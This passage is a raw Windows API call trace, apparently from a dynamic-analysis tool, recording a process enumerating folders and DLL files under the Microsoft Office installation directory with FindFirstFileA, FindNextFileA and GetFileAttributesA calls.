GetCurrentThreadId () returned 0x9b0 [0134.929] GetLastError () returned 0x0 [0134.929] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="mcxml", cAlternateFileName="")) returned 1 [0134.929] GetLastError () returned 0x0 [0134.930] GetCurrentThreadId () returned 0x9b0 [0134.930] GetLastError () returned 0x0 [0134.930] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1 [0134.930] GetLastError () returned 0x0 [0134.930] GetCurrentThreadId () returned 0x9b0 [0134.930] GetLastError () returned 0x0 [0134.930] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="rsod", cAlternateFileName="")) returned 1 [0134.930] GetLastError () returned 0x0 [0134.930] GetCurrentThreadId () returned 0x9b0 [0134.930] GetLastError () returned 0x0 [0134.930] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0134.930] GetLastError () returned 0x0 [0134.930] GetCurrentThreadId () returned 0x9b0 [0134.931] GetLastError () returned 0x0 [0134.931] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0134.931] GetLastError () returned 0x0 [0134.931] GetCurrentThreadId () returned 0x9b0 [0134.931] GetLastError () returned 0x0 [0134.931] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="VFS", cAlternateFileName="")) returned 1 [0134.931] GetLastError () returned 0x0 [0134.931] GetCurrentThreadId () returned 0x9b0 [0134.931] GetLastError () returned 0x0 [0134.931] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="VFS", cAlternateFileName="")) returned 0 [0134.931] GetLastError () returned 0x12 [0134.931] GetCurrentThreadId () returned 0x9b0 [0134.932] GetLastError () returned 0x12 [0134.932] GetLastError () returned 0x12 [0134.932] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0134.932] GetCurrentThreadId () returned 0x9b0 [0134.932] GetLastError () returned 0x12 [0134.932] GetLastError () returned 0x12 [0134.932] GetLastError () returned 0x12 [0134.932] GetLastError () returned 0x12 [0134.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.932] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client" (normalized: "c:\\program files\\microsoft office\\root\\client")) returned 0x10 [0134.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.933] GetLastError () returned 0x12 [0134.933] GetLastError () returned 0x12 [0134.933] GetLastError () returned 0x12 [0134.933] GetLastError () returned 0x12 [0134.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.933] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART" (normalized: "c:\\program files\\microsoft office\\root\\clipart")) returned 0x10 [0134.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.934] GetCurrentThreadId () returned 0x9b0 [0134.934] GetLastError () returned 0x12 [0134.934] GetLastError () returned 0x12 [0134.934] GetLastError () returned 0x12 [0134.934] GetLastError () returned 0x12 [0134.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0134.934] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16")) returned 0x10 [0134.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0134.934] GetLastError () returned 0x12 [0134.934] GetLastError () returned 0x12 [0134.935] GetLastError () returned 0x12 [0134.935] GetLastError () returned 0x12 [0134.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0134.935] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener" (normalized: "c:\\program files\\microsoft office\\root\\flattener")) returned 0x10 [0134.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a828 | out: hHeap=0x2ad0000) returned 1 [0134.935] GetCurrentThreadId () returned 0x9b0 [0134.935] GetLastError () returned 0x12 [0134.935] GetLastError () returned 0x12 [0134.935] GetLastError () returned 0x12 [0134.935] GetLastError () returned 0x12 [0134.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0134.936] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre" (normalized: "c:\\program files\\microsoft office\\root\\fre")) returned 0x10 [0134.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0134.936] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x3028328 [0134.936] GetLastError () returned 0x12 [0134.936] GetLastError () returned 0x12 [0134.936] GetLastError () returned 0x12 [0134.936] GetLastError () returned 0x12 [0134.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.937] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration" (normalized: "c:\\program files\\microsoft office\\root\\integration")) returned 0x10 [0134.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0134.937] GetCurrentThreadId () returned 0x9b0 [0134.937] GetLastError () returned 0x12 [0134.937] GetLastError () returned 0x12 [0134.937] GetLastError () returned 0x12 [0134.937] GetLastError () returned 0x12 [0134.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0134.937] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16" (normalized: "c:\\program files\\microsoft office\\root\\licenses16")) returned 0x10 [0134.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0134.938] GetLastError () returned 0x12 [0134.938] GetLastError () returned 0x12 [0134.938] GetLastError () returned 0x12 [0134.938] GetLastError () returned 0x12 [0134.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0134.938] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc" (normalized: "c:\\program files\\microsoft office\\root\\loc")) returned 0x10 [0134.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0134.939] GetCurrentThreadId () returned 0x9b0 [0134.939] GetLastError () returned 0x12 [0134.939] GetLastError () returned 0x12 [0134.939] GetLastError () returned 0x12 [0134.939] GetLastError () returned 0x12 [0134.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.939] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml")) returned 0x10 [0134.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x38879b0 [0134.940] GetLastError () returned 0x12 [0134.940] GetLastError () returned 0x12 [0134.940] GetLastError () returned 0x12 [0134.940] GetLastError () returned 0x12 [0134.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.940] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16" (normalized: "c:\\program files\\microsoft office\\root\\office16")) returned 0x10 [0134.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0134.941] GetCurrentThreadId () returned 0x9b0 [0134.941] GetLastError () returned 0x12 [0134.941] GetLastError () returned 0x12 [0134.941] GetLastError () returned 0x12 [0134.941] GetLastError () returned 0x12 [0134.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.941] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod" (normalized: "c:\\program files\\microsoft office\\root\\rsod")) returned 0x10 [0134.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.941] GetLastError () returned 0x12 [0134.942] GetLastError () returned 0x12 [0134.942] GetLastError () returned 0x12 [0134.942] GetLastError () returned 0x12 [0134.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0134.942] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery" (normalized: "c:\\program files\\microsoft office\\root\\stationery")) returned 0x10 [0134.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0134.946] GetCurrentThreadId () returned 0x9b0 [0134.947] GetLastError () returned 0x12 [0134.947] GetLastError () returned 0x12 [0134.947] GetLastError () returned 0x12 [0134.947] GetLastError () returned 0x12 [0134.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.947] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates" (normalized: "c:\\program files\\microsoft office\\root\\templates")) returned 0x10 [0134.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0134.948] GetLastError () returned 0x12 [0134.948] GetLastError () returned 0x12 [0134.948] GetLastError () returned 0x12 [0134.948] GetLastError () returned 0x12 [0134.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.948] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS" (normalized: "c:\\program files\\microsoft office\\root\\vfs")) returned 0x10 [0134.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0134.948] GetCurrentThreadId () returned 0x9b0 [0134.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325f770 | out: hHeap=0x2ad0000) returned 1 [0134.949] GetLastError () returned 0x12 [0134.949] GetLastError () returned 0x12 [0134.949] GetLastError () returned 0x12 [0134.949] GetLastError () returned 0x12 [0134.949] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0134.950] GetLastError () returned 0x12 [0134.950] GetCurrentThreadId () returned 0x9b0 [0134.951] GetLastError () returned 0x12 [0134.951] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0134.952] GetLastError () returned 0x12 [0134.952] GetCurrentThreadId () returned 0x9b0 [0134.952] GetLastError () returned 0x12 [0134.952] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0715cb9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0715cb9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0952017, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0134.952] GetLastError () returned 0x12 [0134.952] GetCurrentThreadId () returned 0x9b0 [0134.952] GetLastError () returned 0x12 [0134.952] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0a832cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0134.952] GetLastError () returned 0x12 [0134.952] GetCurrentThreadId () returned 0x9b0 [0134.952] GetLastError () returned 0x12 [0134.952] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09c4608, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0134.953] GetLastError () returned 0x12 [0134.953] GetCurrentThreadId () returned 0x9b0 [0134.953] GetLastError () returned 0x12 [0134.953] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd115de42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd115de42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd158a009, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0134.953] GetLastError () returned 0x12 [0134.953] GetCurrentThreadId () returned 0x9b0 [0134.953] GetLastError () returned 0x12 [0134.953] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0eaf4e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0134.953] GetLastError () returned 0x12 [0134.953] GetCurrentThreadId () returned 0x9b0 [0134.953] GetLastError () returned 0x12 [0134.953] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c4cdf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c4cdf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0df0820, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0134.953] GetLastError () returned 0x12 [0134.953] GetCurrentThreadId () returned 0x9b0 [0134.954] GetLastError () returned 0x12 [0134.954] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c26cd1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c26cd1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0e62fac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0134.954] GetLastError () returned 0x12 [0134.954] GetCurrentThreadId () returned 0x9b0 [0134.954] GetLastError () returned 0x12 [0134.954] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd289cda7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd289cda7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2a1a592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0134.954] GetLastError () returned 0x12 [0134.954] GetCurrentThreadId () returned 0x9b0 [0134.954] GetLastError () returned 0x12 [0134.954] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d7e20c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0134.954] GetLastError () returned 0x12 [0134.954] GetCurrentThreadId () returned 0x9b0 [0134.954] GetLastError () returned 0x12 [0134.955] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0bda864, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0134.955] GetLastError () returned 0x12 [0134.955] GetCurrentThreadId () returned 0x9b0 [0134.955] GetLastError () returned 0x12 [0134.955] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c99389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0134.955] GetLastError () returned 0x12 [0134.955] GetCurrentThreadId () returned 0x9b0 [0134.955] GetLastError () returned 0x12 [0134.955] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0af5a16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0af5a16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c4cdf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0134.955] GetLastError () returned 0x12 [0134.955] GetCurrentThreadId () returned 0x9b0 [0134.955] GetLastError () returned 0x12 [0134.955] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e086ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e086ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2365abe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0134.956] GetLastError () returned 0x12 [0134.956] GetCurrentThreadId () returned 0x9b0 [0134.956] GetLastError () returned 0x12 [0134.956] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1137cdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1137cdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1d23858, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0134.956] GetCurrentThreadId () returned 0x9b0 [0134.956] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1006983, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1006983, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1242d5d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0134.956] GetCurrentThreadId () returned 0x9b0 [0134.956] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd121c9ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0134.956] GetCurrentThreadId () returned 0x9b0 [0134.956] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd139a18a, ftLastWriteTime.dwHighDateTime=0x1d327e7, 